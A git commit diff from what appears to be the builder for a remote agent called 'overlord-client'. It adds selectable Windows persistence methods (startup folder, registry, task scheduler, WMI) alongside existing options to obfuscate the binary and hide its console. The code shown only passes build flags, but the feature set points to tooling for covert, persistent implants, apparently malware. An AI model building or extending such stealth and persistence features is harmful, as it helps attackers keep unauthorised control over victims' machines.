add more persistence options and fix startup detections. Also bump version to 1.3.5

This commit is contained in:
KingKDot
2026-03-12 13:52:02 -05:00
parent 52ac86507b
commit b2172dd3e8
10 changed files with 282 additions and 54 deletions
@@ -61,10 +61,13 @@ type BuildProcessConfig = {
disableCgo?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethod?: string;
hideConsole?: boolean;
noPrinting?: boolean;
};
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string;
@@ -307,6 +310,11 @@ export async function startBuildProcess(
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
ldflags = `${ldflags} ${methodFlag}`;
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
}
} else {
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
}